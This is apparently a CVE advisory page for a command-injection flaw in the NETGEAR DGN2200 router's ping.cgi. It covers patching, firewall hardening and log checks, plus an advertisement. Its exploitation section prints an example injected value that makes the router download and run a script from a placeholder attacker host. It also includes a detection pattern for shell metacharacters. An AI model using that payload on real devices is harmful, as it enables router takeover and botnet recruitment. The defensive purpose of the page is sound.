CVE DatabaseCVE-2017-6077

Updated 2026-06-17한국어 권고문 →

CVE-2017-60779.8/CRITICALCISA KEVCWE-78CWE-78

NETGEAR DGN2200 Router ping.cgi Remote Command Execution (RCE) Vulnerability Advisory (CVE-2017-6077)

⚡ Jump to Patch

Affected Vendors

netgear

Affected Components

dgn2200

Published Date

2017-02-22

CVSS v3.1

9.8

CRITICAL

EPSS (30d)

68.7%

FIRST.org

CISA KEV

Exploited

NVD Source ↗

Executive & SecOps Summary

SECOPS ASSESSMENT

Affected Scope

NETGEAR DGN2200 wireless ADSL2+ modem router devices running firmware versions up to and including 10.0.0.50.

Impact

Remote authenticated attackers can execute arbitrary OS commands with root privileges via shell metacharacters in the ping_IPAddr parameter of HTTP POST requests, leading to complete device compromise.

Mitigation

Apply the latest official firmware updates from NETGEAR, disable remote management, and restrict access to the web administration interface.

Affected Products & Version Scope

NETGEAR DGN2200 with firmware versions up to and including 10.0.0.50

Remediation & Live Workaround Commands

PATCH & WORKAROUND

1. Official Patch & Version Upgrade Commands

Navigate to the official NETGEAR support portal to download the latest secure firmware for the DGN2200. If CLI access is available, download and verify the firmware integrity using the following commands:

bash

# 1. Download the latest secure firmware image (example URL)
wget https://kb.netgear.com/security-support-files/dgn2200-latest-firmware.chk -O /tmp/firmware.chk

# 2. Verify the MD5 checksum of the downloaded file
md5sum /tmp/firmware.chk

2. Temporary Workaround & Hardening Configuration

If patching cannot be applied immediately, disable remote WAN management and restrict access to the web administration interface to trusted internal IP addresses only.

bash

# Block web administration ports (80, 443) on the WAN interface (e.g., eth1)
iptables -A INPUT -i eth1 -p tcp --dport 80 -j DROP
iptables -A INPUT -i eth1 -p tcp --dport 443 -j DROP

# Allow web console access only from a trusted administrator IP (e.g., 192.168.1.100)
iptables -A INPUT -p tcp -s 192.168.1.100 --dport 80 -j ACCEPT

3. Log Audit & IoC Verification Commands

Inspect the web server access logs for suspicious requests containing shell metacharacters directed at ping.cgi.

bash

# Search web server access logs for ping.cgi requests containing shell metacharacters (; | & ` $)
grep -E 'ping\.cgi.*(;|\||&|`|\$)' /var/log/httpd/access_log

# Check the current running firmware version
cat /etc/version 2>/dev/null || nvram get sys_version

Interactive SecOps Remediation Checklist

0/4 (0%)

Recommended Security Control & Mitigation Partner

NordLayer / Zero-Trust Network Access

As this vulnerability is actively exploited in the wild (CISA KEV), immediately disable remote management and upgrade to the latest secure firmware.

Stop Exposing VPN Ports to the Internet — Switch to Zero-Trust Access

Eliminate public-facing VPN concentrators and firewall management ports with identity-first Zero-Trust Network Access.

90% Attack Surface Reduction · Hardware-Free

Explore Zero-Trust Network Access Plans

Technical Root Cause & Exploitation Mechanics

1. Vulnerability Overview & Root Cause

This vulnerability (CVE-2017-6077) exists in the ping.cgi component of the NETGEAR DGN2200 web administration interface. The root cause is the lack of proper input validation and sanitization on user-supplied input in the ping_IPAddr parameter before passing it to a system shell command. This allows an attacker to append arbitrary shell commands to the intended ping command (CWE-78).

2. Exploitation Mechanics & Attack Scenario

An attacker sends a crafted HTTP POST request targeting ping.cgi. By embedding shell metacharacters such as semicolons (;), vertical bars (|), or backticks (` `) into the ping_IPAddr field, the attacker can chain additional commands. For example, a payload like ping_IPAddr=127.0.0.1; wget http://<attacker_ip>/malicious_script -O /tmp/s; sh /tmp/s` forces the router to download and execute a malicious payload. This vulnerability is actively exploited in the wild and is listed in the CISA KEV catalog.

3. Infrastructure & Business Impact

Successful exploitation grants the attacker full root-level access to the router's operating system. Attackers can intercept local network traffic, alter DNS settings to redirect users to malicious sites, or enlist the compromised router into IoT botnets (such as Mirai) to launch distributed denial-of-service (DDoS) attacks, posing severe operational and reputational risks to organizations.

Official Vendor Advisories & References

NVD Original English Description

ping.cgi on NETGEAR DGN2200 devices with firmware through 10.0.0.50 allows remote authenticated users to execute arbitrary OS commands via shell metacharacters in the ping_IPAddr field of an HTTP POST request.

http://www.securityfocus.com/bid/96408

Source: cve@mitre.org · Broken Link, Third Party Advisory, VDB Entry

https://www.exploit-db.com/exploits/41394/

Source: cve@mitre.org · Exploit, Third Party Advisory, VDB Entry

http://www.securityfocus.com/bid/96408

Source: af854a3a-2127-422b-91ae-364da2661108 · Broken Link, Third Party Advisory, VDB Entry

https://www.exploit-db.com/exploits/41394/

Source: af854a3a-2127-422b-91ae-364da2661108 · Exploit, Third Party Advisory, VDB Entry

https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2017-6077

Source: 134c704f-9b21-4f2e-91b3-4a467353bcc0 · US Government Resource

Frequently Asked SecOps Questions (CVE-2017-6077)

FAQ

Q1. How critical is CVE-2017-6077 and is it actively exploited in the wild?

CVE-2017-6077 is rated CVSS 9.8 (CRITICAL) with a 30-day EPSS exploitation probability of 68.7%. It is listed in the CISA Known Exploited Vulnerabilities (KEV) catalog, requiring immediate emergency remediation.

Q2. Which vendors and products are affected by CVE-2017-6077?

Primary impacted vendors include netgear across dgn2200. Scope summary: NETGEAR DGN2200 with firmware versions up to and including 10.0.0.50

Q3. What temporary mitigations or workarounds exist for CVE-2017-6077 before patching?

[Mitigation] Apply the latest official firmware updates from NETGEAR, disable remote management, and restrict access to the web administration interface. Follow the CLI remediation commands and interactive SecOps checklist on this page to restrict exposure prior to your maintenance window.

SECOPS WORKBENCH INTEGRATION